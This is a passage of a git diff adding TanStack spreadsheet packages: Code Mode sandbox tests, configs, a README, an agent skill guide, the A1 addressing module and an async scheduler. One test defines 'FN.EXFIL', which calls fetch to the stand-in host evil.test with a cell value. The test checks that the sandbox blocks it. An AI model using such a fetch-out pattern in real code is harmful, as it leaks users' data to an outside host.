+ it('a function attempting network access fails with an error value', () => {
+ const w = wb()
+ const evil = compileCodeFunction({
+ name: 'FN.EXFIL',
+ args: [{ name: 'x' }],
+ source: 'return fetch("https://evil.test?x=" + x)',
+ })
+ w.upsertFunction(evil.def)
+ w.applyPatches([
+ ...w.setInput(ref(0, 0), '42'),
+ ...w.setInput(ref(0, 1), '=FN.EXFIL(A1)'),
+ ])
+ const v = val(w, 0, 1)
+ expect(v !== null && typeof v === 'object' && v.kind === 'error').toBe(true)
+ })
+
+ it('strips Math.random from a non-volatile function (purity profile)', () => {
+ const w = wb()
+ const rnd = compileCodeFunction({
+ name: 'FN.RND',
+ args: [],
+ source: 'return Math.random()',
+ })
+ w.upsertFunction(rnd.def)
+ w.applyPatches(w.setInput(ref(0, 0), '=FN.RND()'))
+ const v = val(w, 0, 0)
+ expect(v !== null && typeof v === 'object' && v.kind === 'error').toBe(true)
+ })
+})
+
+// The AI read/build toolkit moved to `@tanstack/spreadsheet-agent`; its tests
+// live there now (agent.test.ts). Code Mode keeps only authoring.
diff --git a/packages/spreadsheet-codemode/tests/reunification.test.ts b/packages/spreadsheet-codemode/tests/reunification.test.ts
new file mode 100644
index 0000000000..e3c09fa351
--- /dev/null
+++ b/packages/spreadsheet-codemode/tests/reunification.test.ts
@@ -0,0 +1,107 @@
+/**
+ * Phase 3: the one-registry era. Code-mode functions live in the workbook
+ * registry (origin `code-mode`) — no sidecar — so removal is honoured by the
+ * export; the example gate rejects empty examples; runtime throws keep their
+ * message; and a Code Mode function can receive a range argument.
+ */
+
+import { describe, expect, it } from 'vitest'
+import { Workbook } from '@tanstack/spreadsheet-core'
+import { compileCodeFunction } from '../src/compile'
+import { stageFunction } from '../src/authoring'
+import {
+ exportCodeFunctions,
+ registerCompiled,
+ rehydrateCodeFunctions,
+} from '../src/persist'
+import type { ErrorValue, Ref } from '@tanstack/spreadsheet-core'
+
+const A = (row: number, col: number): Ref => ({ sheet: 's1', row, col })
+function wb() {
+ const w = new Workbook()
+ w.addSheet('s1')
+ return w
+}
+
+const DOUBLE = {
+ name: 'FN.DOUBLE',
+ args: [{ name: 'x' }],
+ source: 'return x * 2',
+}
+
+describe('registry reunification', () => {
+ it('a removed code function stays removed through export/rehydrate', () => {
+ const w = wb()
+ registerCompiled(w, compileCodeFunction(DOUBLE))
+ expect(exportCodeFunctions(w)).toHaveLength(1)
+
+ w.removeFunction('FN.DOUBLE')
+ // the resurrection bug: export must no longer include it
+ expect(exportCodeFunctions(w)).toHaveLength(0)
+
+ // rehydrating the (now empty) export leaves it gone
+ rehydrateCodeFunctions(w, exportCodeFunctions(w))
+ expect(w.functionCatalog().some((e) => e.name === 'FN.DOUBLE')).toBe(false)
+ })
+
+ it('tags code-mode origin in the one catalog', () => {
+ const w = wb()
+ registerCompiled(w, compileCodeFunction(DOUBLE))
+ const entry = w.functionCatalog().find((e) => e.name === 'FN.DOUBLE')
+ expect(entry?.origin).toBe('code-mode')
+ expect(entry?.version).toBeTruthy()
+ })
+})
+
+describe('example gate', () => {
+ it('an empty example list cannot pass', () => {
+ expect(stageFunction(DOUBLE, []).passed).toBe(false)
+ expect(stageFunction(DOUBLE, [{ args: [5], expected: 10 }]).passed).toBe(
+ true,
+ )
+ })
+})
+
+describe('error fidelity', () => {
+ it('a runtime throw keeps its message on the error value detail', () => {
+ const w = wb()
+ registerCompiled(
+ w,
+ compileCodeFunction({
+ name: 'FN.BOOM',
+ args: [{ name: 'x' }],
+ source: 'throw new Error("kaboom:" + x)',
+ }),
+ )
+ w.set('A1', '=FN.BOOM(7)')
+ const v = w.getCell(A(0, 0))?.value as ErrorValue
+ expect(v.code).toBe('#VALUE!')
+ expect(v.detail).toContain('kaboom:7')
+ })
+
+ it('the version hash is 64-bit (16 hex chars), collision-resistant', () => {
+ expect(compileCodeFunction(DOUBLE).version).toMatch(/^[0-9a-f]{16}$/)
+ })
+})
+
+describe('range arguments for code-mode functions', () => {
+ it('receives a declared range argument as a 2D grid', () => {
+ const w = wb()
+ registerCompiled(
+ w,
+ compileCodeFunction({
+ name: 'FN.GRIDSUM',
+ args: [{ name: 'block', acceptsRange: true }],
+ source:
+ 'return block.flat().reduce((a, b) => a + (typeof b === "number" ? b : 0), 0)',
+ }),
+ )
+ w.setMany([
+ { ref: 'A1', input: '1' },
+ { ref: 'A2', input: '2' },
+ { ref: 'A3', input: '3' },
+ { ref: 'B1', input: '=FN.GRIDSUM(A1:A3)' },
+ ])
+ expect(w.getCell(A(0, 1))?.value).toBe(6)
+ })
+})
diff --git a/packages/spreadsheet-codemode/tsconfig.json b/packages/spreadsheet-codemode/tsconfig.json
new file mode 100644
index 0000000000..fa3897629e
--- /dev/null
+++ b/packages/spreadsheet-codemode/tsconfig.json
@@ -0,0 +1,4 @@
+{
+ "extends": "../../tsconfig.json",
+ "include": ["src", "tests", "vite.config.ts", "eslint.config.js"]
+}
diff --git a/packages/spreadsheet-codemode/tsdown.config.ts b/packages/spreadsheet-codemode/tsdown.config.ts
new file mode 100644
index 0000000000..d4b26b4408
--- /dev/null
+++ b/packages/spreadsheet-codemode/tsdown.config.ts
@@ -0,0 +1,16 @@
+import { defineConfig } from 'tsdown'
+
+export default defineConfig({
+ entry: ['./src/index.ts'],
+ format: ['esm'],
+ unbundle: true,
+ dts: true,
+ sourcemap: false,
+ clean: true,
+ minify: false,
+ fixedExtension: false,
+ exports: true,
+ publint: {
+ strict: true,
+ },
+})
diff --git a/packages/spreadsheet-codemode/vite.config.ts b/packages/spreadsheet-codemode/vite.config.ts
new file mode 100644
index 0000000000..1e06f2688b
--- /dev/null
+++ b/packages/spreadsheet-codemode/vite.config.ts
@@ -0,0 +1,11 @@
+import { defineConfig } from 'vitest/config'
+import packageJson from './package.json'
+
+export default defineConfig({
+ test: {
+ name: packageJson.name,
+ dir: './tests',
+ watch: false,
+ globals: true,
+ },
+})
diff --git a/packages/spreadsheet-core/README.md b/packages/spreadsheet-core/README.md
new file mode 100644
index 0000000000..d6b398a661
--- /dev/null
+++ b/packages/spreadsheet-core/README.md
@@ -0,0 +1,30 @@
+# @tanstack/spreadsheet-core
+
+The headless, framework-agnostic spreadsheet engine behind TanStack Spreadsheet:
+A1 addressing, a formula parser, a dependency graph, and a synchronous evaluator —
+with errors and pending values as first-class, typed cell values. No UI, no
+framework, no DOM; its only dependency is `@tanstack/store`.
+
+```bash
+npm install @tanstack/spreadsheet-core
+```
+
+```ts
+import { createWorkbook } from '@tanstack/spreadsheet-core'
+
+const wb = createWorkbook()
+wb.addSheet('s1')
+wb.applyPatches(wb.setInput({ sheet: 's1', row: 0, col: 0 }, '=SUM(A2:A5)'))
+wb.getCell({ sheet: 's1', row: 0, col: 0 })?.value // the computed value
+wb.runFormula('AVERAGE(A2:A5)') // ad-hoc, no cell written
+```
+
+The workbook splits into an always-present **kernel** (sheets, mutation/commit,
+recalc, dep graph, reactive atoms) and opt-in **capabilities** (formats, merges,
+clipboard, fill, provenance, names, async). `new Workbook()` / `createWorkbook()`
+enable them all; `constructWorkbook` (from `@tanstack/spreadsheet-core/construct`)
+lets you register only what you need and tree-shake the rest.
+
+**Experimental** — ships with TanStack Table and shares its version line; the API
+is still settling. See the
+[Spreadsheet docs](https://tanstack.com/table/latest/docs/spreadsheet/overview).
diff --git a/packages/spreadsheet-core/eslint.config.js b/packages/spreadsheet-core/eslint.config.js
new file mode 100644
index 0000000000..892f5314df
--- /dev/null
+++ b/packages/spreadsheet-core/eslint.config.js
@@ -0,0 +1,8 @@
+// @ts-check
+
+import rootConfig from '../../eslint.config.js'
+
+/** @type {any} */
+const config = [...rootConfig]
+
+export default config
diff --git a/packages/spreadsheet-core/package.json b/packages/spreadsheet-core/package.json
new file mode 100644
index 0000000000..9574ef1917
--- /dev/null
+++ b/packages/spreadsheet-core/package.json
@@ -0,0 +1,53 @@
+{
+ "name": "@tanstack/spreadsheet-core",
+ "version": "9.3.1",
+ "description": "Headless, framework-agnostic spreadsheet engine — addressing, parser, dependency graph, evaluator.",
+ "author": "Tanner Linsley",
+ "license": "MIT",
+ "repository": {
+ "type": "git",
+ "url": "https://github.com/TanStack/table.git",
+ "directory": "packages/spreadsheet-core"
+ },
+ "homepage": "https://tanstack.com/table",
+ "funding": {
+ "type": "github",
+ "url": "https://github.com/sponsors/tannerlinsley"
+ },
+ "keywords": [
+ "tanstack",
+ "spreadsheet",
+ "formula",
+ "headless",
+ "tanstack-intent"
+ ],
+ "type": "module",
+ "types": "./dist/index.d.ts",
+ "exports": {
+ ".": "./dist/index.js",
+ "./capabilities": "./dist/capabilities/index.js",
+ "./construct": "./dist/construct.js",
+ "./package.json": "./package.json"
+ },
+ "sideEffects": false,
+ "engines": {
+ "node": ">=20"
+ },
+ "files": [
+ "dist",
+ "skills"
+ ],
+ "scripts": {
+ "clean": "rimraf ./build && rimraf ./dist",
+ "test:eslint": "eslint ./src",
+ "test:coverage": "vitest run --coverage",
+ "test:lib": "vitest",
+ "test:lib:dev": "pnpm test:lib --watch",
+ "test:types": "tsc",
+ "test:build": "publint --strict",
+ "build": "tsdown"
+ },
+ "dependencies": {
+ "@tanstack/store": "^0.11.2"
+ }
+}
diff --git a/packages/spreadsheet-core/skills/core/SKILL.md b/packages/spreadsheet-core/skills/core/SKILL.md
new file mode 100644
index 0000000000..e8ac20df19
--- /dev/null
+++ b/packages/spreadsheet-core/skills/core/SKILL.md
@@ -0,0 +1,156 @@
+---
+name: core
+description:
+ Use the TanStack Spreadsheet workbook kernel and capability model. Route cell
+ input, patches, computed reads, errors and pending as values, region
+ subscriptions, and opt-in capabilities. Load before the react, table-v9, or
+ xlsx spreadsheet skills.
+metadata:
+ type: core
+ library: '@tanstack/spreadsheet-core'
+ library_version: '9.3.1'
+sources:
+ - TanStack/table:packages/spreadsheet-core/src/index.ts
+ - TanStack/table:packages/spreadsheet-core/src/types.ts
+ - TanStack/table:packages/spreadsheet-core/src/workbook.ts
+ - TanStack/table:packages/spreadsheet-core/src/kernel.ts
+ - TanStack/table:packages/spreadsheet-core/src/construct.ts
+ - TanStack/table:packages/spreadsheet-core/src/capability.ts
+ - TanStack/table:packages/spreadsheet-core/src/eval.ts
+ - TanStack/table:packages/spreadsheet-core/src/capabilities/index.ts
+---
+
+# TanStack Spreadsheet core
+
+The workbook is a headless calculation kernel: it owns sheets, cell inputs, the
+dependency graph, and recalculation. It has no UI. A renderer, a framework
+adapter (`@tanstack/react-spreadsheet`), or a table projection
+(`@tanstack/spreadsheet-table`) reads computed values out of it and writes
+input strings back in.
+
+## Minimal workbook
+
+`createWorkbook()` (or `new Workbook()`) carries the full builtin function
+catalog and every built-in capability. Edits are two steps: `setInput` computes
+the input-level `Patch[]` without mutating anything; `applyPatches` runs the
+pipeline (update inputs, rebuild dependencies, recalc, notify regions) and
+returns a `CommitResult`.
+
+
+
+```ts
+import { createWorkbook, isErr, isPending } from '@tanstack/spreadsheet-core'
+import type { Ref } from '@tanstack/spreadsheet-core'
+
+const workbook = createWorkbook()
+workbook.addSheet('Sheet1')
+
+const a1: Ref = { sheet: 'Sheet1', row: 0, col: 0 }
+const a2: Ref = { sheet: 'Sheet1', row: 1, col: 0 }
+const b1: Ref = { sheet: 'Sheet1', row: 0, col: 1 }
+
+workbook.applyPatches(workbook.setInput(a1, '10'))
+workbook.applyPatches(workbook.setInput(a2, '20'))
+const result = workbook.applyPatches(workbook.setInput(b1, '=A1+A2'))
+console.log(result.recalculated.length)
+
+const cell = workbook.getCell(b1)
+if (cell) {
+ const value = cell.value
+ if (isErr(value)) {
+ console.log(`error ${value.code}: ${value.detail ?? ''}`)
+ } else if (isPending(value)) {
+ console.log('awaiting an async result')
+ } else {
+ console.log(cell.input, '=>', value) // "=A1+A2" => 30
+ }
+}
+```
+
+## Essential constraints
+
+- A `Ref` is `{ sheet, row, col }` with 0-based `row`/`col`. Address helpers
+ (`parseA1`, `formatA1`, `colToLetter`) convert to and from A1 notation; do not
+ hand-roll the `row * 16384 + col` packing that `addr` owns.
+- Errors and pending are **values, not exceptions**. `CellValue` is
+ `number | string | boolean | ErrorValue | PendingValue | null`, where `null`
+ is a blank cell. An `ErrorValue` is `{ kind: 'error', code, detail? }`; a
+ `PendingValue` is `{ kind: 'pending' }`. Narrow with `isErr`, `isPending`, or
+ `isBlocking` before treating a value as a number or string — never
+ `try`/`catch` around a read.
+- A `Cell.value` is derived and never stored in a `Patch`. Patches carry input
+ strings only (`before`/`after`), so undo via `invertPatches` replays inputs
+ and recomputes, never stale results.
+- `applyPatches` returns `recalculated: Ref[]` across every affected sheet and
+ `cycles: Ref[][]` for detected dependency cycles. Read those instead of
+ diffing the whole grid.
+
+## Reacting to changes
+
+`subscribeRegion(sheet, rect, cb)` fires when any cell in a rectangle changes
+and returns an unsubscribe function. A `Rect` is inclusive 0-based
+`{ r0, c0, r1, c1 }`. Use it to invalidate a viewport; a framework adapter wraps
+this for you.
+
+
+
+```ts
+import { createWorkbook } from '@tanstack/spreadsheet-core'
+import type { Rect } from '@tanstack/spreadsheet-core'
+
+const workbook = createWorkbook()
+workbook.addSheet('Sheet1')
+const viewport: Rect = { r0: 0, c0: 0, r1: 99, c1: 25 }
+
+const unsubscribe = workbook.subscribeRegion('Sheet1', viewport, () => {
+ console.log('viewport changed; re-read cells')
+})
+workbook.applyPatches(
+ workbook.setInput({ sheet: 'Sheet1', row: 0, col: 0 }, '42'),
+)
+unsubscribe()
+```
+
+## Capabilities
+
+Capability methods (`setFormat`/`getFormat`, `mergeCells`/`getMerges`,
+`defineName`/`listNames`, `settle`/`asyncStats`, clipboard, fill, provenance)
+are opt-in plugins declared on the workbook. `createWorkbook` / `new Workbook`
+include all of them. For a tree-shaken build, use `constructWorkbook` and pass
+only the capabilities you need; the return type exposes exactly those methods.
+
+
+
+```ts
+import { constructWorkbook } from '@tanstack/spreadsheet-core'
+import {
+ formatsCapability,
+ mergesCapability,
+} from '@tanstack/spreadsheet-core/capabilities'
+
+const workbook = constructWorkbook({
+ capabilities: { formatsCapability, mergesCapability },
+})
+workbook.addSheet('Sheet1')
+workbook.setFormat({ sheet: 'Sheet1', row: 0, col: 0 }, '0.00')
+console.log(workbook.getMerges('Sheet1').length)
+```
+
+Importing `@tanstack/spreadsheet-core/capabilities/` augments the workbook
+type via declaration merging, so omitted capabilities are a type error at the
+call site, not a silent `undefined`.
+
+## Load by task
+
+- To drive a workbook from React hooks or render a live grid, load
+ `@tanstack/react-spreadsheet#core`.
+- To project a sheet onto a TanStack Table v9 instance with selection, fill,
+ and merge verbs, load `@tanstack/spreadsheet-table#core`.
+- To round-trip `.xlsx` bytes with explicit degradation reporting, load
+ `@tanstack/spreadsheet-xlsx#core`.
+
+## Installed API discovery
+
+Start at `node_modules/@tanstack/spreadsheet-core/dist/index.d.ts` and follow
+the exported declarations. Capability method types live in
+`dist/capabilities/*.d.ts`; value and error shapes live in `dist/types.d.ts`.
diff --git a/packages/spreadsheet-core/src/addr.ts b/packages/spreadsheet-core/src/addr.ts
new file mode 100644
index 0000000000..070253a1bf
--- /dev/null
+++ b/packages/spreadsheet-core/src/addr.ts
@@ -0,0 +1,149 @@
+/**
+ * Addressing: the ONLY module that packs/unpacks cell keys or converts to/from
+ * A1 notation. Keeping this math in one place is what prevents the classic
+ * int32-overflow bug from leaking back in.
+ */
+
+import type { CellKey, Rect, RefNode } from './types'
+
+/** Excel's column cap. Also the packing radix. */
+export const MAX_COLS = 16384
+/** Excel's row cap. */
+export const MAX_ROWS = 1048576
+
+// ---------------------------------------------------------------------------
+// Packing — arithmetic only, never bitwise (bitwise coerces to int32 and
+// overflows to negative keys once row ≥ 131072).
+// ---------------------------------------------------------------------------
+
+/** Pack a 0-based (row, col) into a sheet-local {@link CellKey}. */
+export function pack(row: number, col: number): CellKey {
+ if (row < 0 || row >= MAX_ROWS) {
+ throw new RangeError(`row out of range: ${row}`)
+ }
+ if (col < 0 || col >= MAX_COLS) {
+ throw new RangeError(`col out of range: ${col}`)
+ }
+ return row * MAX_COLS + col
+}
+
+/** Extract the 0-based row from a packed key. */
+export function rowOf(key: CellKey): number {
+ return Math.floor(key / MAX_COLS)
+}
+
+/** Extract the 0-based column from a packed key. */
+export function colOf(key: CellKey): number {
+ return key % MAX_COLS
+}
+
+// ---------------------------------------------------------------------------
+// A1 <-> indices
+// ---------------------------------------------------------------------------
+
+/** 0-based column index -> letters. `0 -> "A"`, `26 -> "AA"`. */
+export function colToLetter(col: number): string {
+ if (col < 0 || col >= MAX_COLS) {
+ throw new RangeError(`col out of range: ${col}`)
+ }
+ let n = col
+ let s = ''
+ do {
+ s = String.fromCharCode(65 + (n % 26)) + s
+ n = Math.floor(n / 26) - 1
+ } while (n >= 0)
+ return s
+}
+
+/** Letters -> 0-based column index. `"A" -> 0`, `"AA" -> 26`. Case-insensitive. */
+export function letterToCol(letters: string): number {
+ let n = 0
+ for (let i = 0; i < letters.length; i++) {
+ const c = letters.charCodeAt(i)
+ const d = c >= 65 && c <= 90 ? c - 64 : c >= 97 && c <= 122 ? c - 96 : NaN
+ if (Number.isNaN(d))
+ throw new SyntaxError(`invalid column letters: ${letters}`)
+ n = n * 26 + d
+ }
+ return n - 1
+}
+
+/** A single-cell A1 reference parsed from a string (no sheet qualifier). */
+export interface ParsedA1 {
+ col: number
+ row: number
+ colAbs: boolean
+ rowAbs: boolean
+}
+
+const A1_RE = /^(\$?)([A-Za-z]{1,3})(\$?)(\d+)$/
+
+/** Parse `"A1"`, `"$A$1"`, `"B$2"` -> indices + abs flags. Returns null if malformed. */
+export function parseA1(s: string): ParsedA1 | null {
+ const m = A1_RE.exec(s)
+ if (!m) return null
+ const col = letterToCol(m[2]!)
+ const row = parseInt(m[4]!, 10) - 1
+ if (col >= MAX_COLS || row < 0 || row >= MAX_ROWS) return null
+ return { col, row, colAbs: m[1] === '$', rowAbs: m[3] === '$' }
+}
+
+/** Format indices + abs flags back to A1, e.g. `{col:0,row:0,colAbs:true} -> "$A1"`. */
+export function formatA1(ref: ParsedA1): string {
+ const c = (ref.colAbs ? '$' : '') + colToLetter(ref.col)
+ const r = (ref.rowAbs ? '$' : '') + (ref.row + 1)
+ return c + r
+}
+
+// ---------------------------------------------------------------------------
+// Rectangles
+// ---------------------------------------------------------------------------
+
+/** Number of cells a rectangle spans (address area, not populated count). */
+export function rectArea(rect: Rect): number {
+ return (rect.r1 - rect.r0 + 1) * (rect.c1 - rect.c0 + 1)
+}
+
+export function rectContains(rect: Rect, row: number, col: number): boolean {
+ return row >= rect.r0 && row <= rect.r1 && col >= rect.c0 && col <= rect.c1
+}
+
+export function rectsIntersect(a: Rect, b: Rect): boolean {
+ return a.r0 <= b.r1 && a.r1 >= b.r0 && a.c0 <= b.c1 && a.c1 >= b.c0
+}
+
+/** Normalize any two corners into a well-ordered {@link Rect}. */
+export function makeRect(
+ rowA: number,
+ colA: number,
+ rowB: number,
+ colB: number,
+): Rect {
+ return {
+ r0: Math.min(rowA, rowB),
+ c0: Math.min(colA, colB),
+ r1: Math.max(rowA, rowB),
+ c1: Math.max(colA, colB),
+ }
+}
+
+// ---------------------------------------------------------------------------
+// Ref translation (the primitive M5 fill/paste is built on)
+// ---------------------------------------------------------------------------
+
+/**
+ * Translate a reference (a `RefNode`) by (dRow, dCol), honoring absolute
+ * anchors: an axis marked absolute does not move. Returns `null` when the result
+ * would fall outside the sheet — the caller turns that into `#REF!`. Named at
+ * the ref level to sit distinctly beside the string-level `translateFormula`.
+ */
+export function translateRef(
+ ref: RefNode,
+ dRow: number,
+ dCol: number,
+): RefNode | null {
+ const row = ref.rowAbs ? ref.row : ref.row + dRow
+ const col = ref.colAbs ? ref.col : ref.col + dCol
+ if (row < 0 || row >= MAX_ROWS || col < 0 || col >= MAX_COLS) return null
+ return { ...ref, row, col }
+}
diff --git a/packages/spreadsheet-core/src/async.ts b/packages/spreadsheet-core/src/async.ts
new file mode 100644
index 0000000000..2f1c05c52b
--- /dev/null
+++ b/packages/spreadsheet-core/src/async.ts
@@ -0,0 +1,310 @@
+/**
+ * The async scheduler (Extension Spec §3) — the state machine *around* the
+ * synchronous evaluator. The evaluator never awaits: on reaching an async call
+ * it looks up a cached result or hands a request to this scheduler and returns
+ * `pending`. The scheduler dedupes by call key, batches by function, dispatches
+ * through a host {@link AsyncPort}, and on resolution writes a result cache and
+ * asks the workbook to re-invalidate + recalc (a normal synchronous pass, which
+ * now finds the cached value).
+ *
+ * Invariants it preserves (§1, §3):
+ * - Results are cached by call key (function identity + version + args), so a
+ * precedent change mid-flight produces a *different* key — a late result for
+ * the superseded key lands in an unread cache slot and never clobbers the
+ * cell. (race → stale discard)
+ * - A rejected request is negative-cached as an error value, so unrelated
+ * recalcs do not re-fire it.
+ * - Reopening a workbook with a seeded cache resolves from cache without
+ * firing (no paid request before the user has seen a number).
+ */
+
+import { CALL_KEY_SEP } from './eval'
+import type { NodeId } from './deps'
+import type {
+ AbortSignalLike,
+ AsyncPort,
+ AsyncRequest,
+ AsyncResult,
+} from './ports'
+import type { CellValue, ErrorValue } from './types'
+
+/** A cached async result plus the timestamp it was stored (persistence/staleness). */
+export interface AsyncCacheEntry {
+ value: CellValue
+ /** ms since epoch when stored. */
+ at: number
+}
+
+/** A persisted cache row: `exportCache()` emits these; seed them on reopen. */
+export interface AsyncCacheSeed {
+ key: string
+ value: CellValue
+ at?: number
+}
+
+export interface SchedulerOptions {
+ port?: AsyncPort
+ /** Re-invalidate + recalc the given nodes after a batch resolves (coalesced). */
+ onResolved: (nodes: Array) => void
+ /** Max total requests dispatched before pausing; `Infinity` = unlimited (opt-in cap). */
+ budget?: number
+ /** Clock for result timestamps. */
+ now?: () => number
+ /** Seed values (persistence) that resolve without firing. */
+ seed?: Array
+ /**
+ * How long (ms) a negative (error) cache entry is trusted before it expires
+ * and the next recalc refires the request. `Infinity` keeps errors cached for
+ * the session. Success results are cached permanently (endorsed semantics).
+ */
+ negativeTtl?: number
+}
+
+export interface SchedulerStats {
+ /** Results currently cached (resolved or negative-cached). */
+ cached: number
+ /** Distinct keys dispatched and awaiting a result. */
+ inFlight: number
+ /** Total requests sent to the port (round-trip proxy — dedupe/batch metric). */
+ dispatched: number
+ /** Total `port.execute` calls (batching proof: ≪ dispatched when batched). */
+ batches: number
+ /**
+ * Requests withheld because the opt-in budget is exhausted — **budget-paused
+ * only** (unroutable async is rejected at registration, never counted here).
+ * `resume()` raises the cap and re-flushes these.
+ */
+ paused: number
+ /** Whether a budget resume would have paused requests to dispatch. */
+ budget: number
+}
+
+const BATCH_FAILURE: ErrorValue = { kind: 'error', code: '#VALUE!' }
+
+export class Scheduler {
+ private readonly cache = new Map()
+ /** Requests collected during the current recalc pass, not yet dispatched. */
+ private readonly pendingReqs = new Map<
+ string,
+ { req: AsyncRequest; nodes: Set }
+ >()
+ /** Keys dispatched and awaiting resolution → the nodes depending on each. */
+ private readonly inFlight = new Map<
+ string,
+ { nodes: Set; promise: Promise }
+ >()
+ /** Requests withheld by the budget, kept whole so `resume()` can re-dispatch them. */
+ private readonly budgetPaused = new Map<
+ string,
+ { req: AsyncRequest; nodes: Set }
+ >()
+
+ private readonly port?: AsyncPort
+ private readonly onResolved: (nodes: Array) => void
+ private budget: number
+ private readonly now: () => number
+ private readonly negativeTtl: number
+
+ private dispatched = 0
+ private batches = 0
+
+ constructor(opts: SchedulerOptions) {
+ this.port = opts.port
+ this.onResolved = opts.onResolved
+ this.budget = opts.budget ?? Infinity
+ this.now = opts.now ?? (() => Date.now())
+ this.negativeTtl = opts.negativeTtl ?? 30_000
+ for (const s of opts.seed ?? []) {
+ this.cache.set(s.key, { value: s.value, at: s.at ?? 0 })
+ }
+ }
+
+ /**
+ * Resolved/cached value for a call key, or `undefined` if not yet available.
+ * A negative (error) entry past its cooldown is treated as a miss and evicted,
+ * so the next recalc refires it; success entries never expire.
+ */
+ lookup(key: string): CellValue | undefined {
+ const e = this.cache.get(key)
+ if (!e) return undefined
+ const isError =
+ e.value !== null &&
+ typeof e.value === 'object' &&
+ e.value.kind === 'error'
+ if (
+ isError &&
+ this.negativeTtl !== Infinity &&
+ this.now() - e.at > this.negativeTtl
+ ) {
+ this.cache.delete(key)
+ return undefined
+ }
+ return e.value
+ }
+
+ /** Record a cache-miss request produced while evaluating `node` (if any). */
+ record(req: AsyncRequest, node?: NodeId): void {
+ if (this.cache.has(req.key)) return // already resolved — nothing to do
+ const live = this.inFlight.get(req.key)
+ if (live) {
+ // Same computation already in flight: just attach this node so it is
+ // invalidated when the shared result arrives (cross-cell dedupe).
+ if (node) live.nodes.add(node)
+ return
+ }
+ let entry = this.pendingReqs.get(req.key)
+ if (!entry)
+ this.pendingReqs.set(req.key, (entry = { req, nodes: new Set() }))
+ if (node) entry.nodes.add(node)
+ }
+
+ /**
+ * Dispatch everything collected since the last flush. Dedupe already happened
+ * in {@link record} (keyed map); here we batch by function name and respect the
+ * budget. Called by the workbook after every recalc pass.
+ */
+ flush(): void {
+ if (this.pendingReqs.size === 0) return
+
+ // Async functions are rejected at registration unless a port is wired, so by
+ // the time a request exists a port exists too. Guard defensively anyway.
+ if (!this.port) {
+ this.pendingReqs.clear()
+ return
+ }
+
+ const nodesByKey = new Map>()
+ const toDispatch: Array = []
+ for (const [key, entry] of this.pendingReqs) {
+ if (this.dispatched >= this.budget) {
+ // Budget exhausted: withhold whole, so resume() can re-dispatch.
+ this.budgetPaused.set(key, entry)
+ continue
+ }
+ toDispatch.push(entry.req)
+ nodesByKey.set(key, entry.nodes)
+ this.dispatched++
+ }
+ this.pendingReqs.clear()
+ if (toDispatch.length === 0) return
+
+ // Batch by function name — a provider that accepts arrays sees one call for
+ // a filled-down column, not N round trips.
+ const byName = new Map>()
+ for (const req of toDispatch) {
+ let group = byName.get(req.name)
+ if (!group) byName.set(req.name, (group = []))
+ group.push(req)
+ }
+
+ for (const [name, reqs] of byName) {
+ this.batches++
+ const controller = makeAbort()
+ const promise = this.port.execute(name, reqs, controller).then(
+ (results) => this.applyResults(results),
+ () =>
+ this.applyResults(
+ reqs.map((r) => ({ key: r.key, value: BATCH_FAILURE })),
+ ),
+ )
+ for (const req of reqs) {
+ this.inFlight.set(req.key, { nodes: nodesByKey.get(req.key)!, promise })
+ }
+ }
+ }
+
+ /** Write resolved values to the cache and trigger one coalesced recalc. */
+ private applyResults(results: Array): void {
+ const nodes = new Set()
+ for (const res of results) {
+ this.cache.set(res.key, { value: res.value, at: this.now() })
+ const live = this.inFlight.get(res.key)
+ if (live) {
+ for (const n of live.nodes) nodes.add(n)
+ this.inFlight.delete(res.key)
+ }
+ }
+ this.onResolved([...nodes])
+ }
+
+ /**
+ * Resolve when no requests remain in flight. Resolutions re-enter the workbook
+ * (recalc → flush), which may spawn further requests (chained async); the loop
+ * drains those too. Budget-paused requests are *not* awaited (they stay
+ * pending and are reported), matching the spec's "budget-paused-and-reported".
+ */
+ async settle(): Promise {
+ while (this.inFlight.size > 0) {
+ const promises = new Set>()
+ for (const v of this.inFlight.values()) promises.add(v.promise)
+ await Promise.allSettled(promises)
+ }
+ }
+
+ /** Persist the cache (last value + timestamp per key) for reopen. */
+ exportCache(): Array {
+ const out: Array = []
+ for (const [key, e] of this.cache)
+ out.push({ key, value: e.value, at: e.at })
+ return out
+ }
+
+ stats(): SchedulerStats {
+ return {
+ cached: this.cache.size,
+ inFlight: this.inFlight.size,
+ dispatched: this.dispatched,
+ batches: this.batches,
+ paused: this.budgetPaused.size,
+ budget: this.budget,
+ }
+ }
+
+ /**
+ * Raise the budget cap (by `additional`, default: lift to unlimited) and
+ * re-queue every budget-paused request for the next {@link flush}. Returns
+ * `true` if anything was released.
+ */
+ resume(additional?: number): boolean {
+ this.budget = additional === undefined ? Infinity : this.budget + additional
+ if (this.budgetPaused.size === 0) return false
+ for (const [key, entry] of this.budgetPaused) {
+ if (!this.pendingReqs.has(key) && !this.inFlight.has(key)) {
+ this.pendingReqs.set(key, entry)
+ }
+ }
+ this.budgetPaused.clear()
+ return true
+ }
+
+ /**
+ * Evict cached results so the next recalc refires them: everything (no args),
+ * a single call `key`, or every entry for a `functionName` (per-function).
+ */
+ invalidate(opts?: { key?: string; functionName?: string }): void {
+ if (!opts) {
+ this.cache.clear()
+ return
+ }
+ if (opts.key) this.cache.delete(opts.key)
+ if (opts.functionName) {
+ const prefix = opts.functionName.toUpperCase() + CALL_KEY_SEP
+ for (const k of [...this.cache.keys()]) {
+ if (k.startsWith(prefix)) this.cache.delete(k)
+ }
+ }
+ }
+}
+
+/**
+ * The {@link AbortSignalLike} handed to `port.execute`. **Cancellation is not
+ * supported**: this signal never flips to `aborted`, so a host must not rely on
+ * it to stop in-flight work. It is not decorative, though — correctness does not
+ * need it: a superseded computation produces a *different* call key, so its late
+ * result lands in an unread cache slot and never clobbers the cell. The signal
+ * is kept in the contract so a future host-driven cancellation can wire in
+ * without a signature change; today it is honestly a no-op.
+ */
+function makeAbort(): AbortSignalLike {
+ return { aborted: false }
+}
diff --git a/packages/spreadsheet-core/src/capabilities/asyncCapability.ts b/packages/spreadsheet-core/src/capabilities/asyncCapability.ts
new file mode 100644
index 0000000000..6d340de062
--- /dev/null
+++ b/packages/spreadsheet-core/src/capabilities/asyncCapability.ts
@@ -0,0 +1,140 @@
+/**
+ * The async capability (M9, §3): the async-facing surface over the kernel's
+ * `Scheduler`. Opt-in; `new Workbook()` includes it by default.
+ *
+ * The `Scheduler` itself is created in the kernel constructor (it is wired into
+ * the evaluator environment's async hook). This capability wires the
+ * async-facing methods — `settle`/`asyncStats`/`exportAsyncCache`/`resumeAsync`/
+ * `refreshAsync` — plus the private `onAsyncResolved` resolution callback the
+ * kernel's scheduler invokes, and the `asyncCallSites` scan. The kernel's
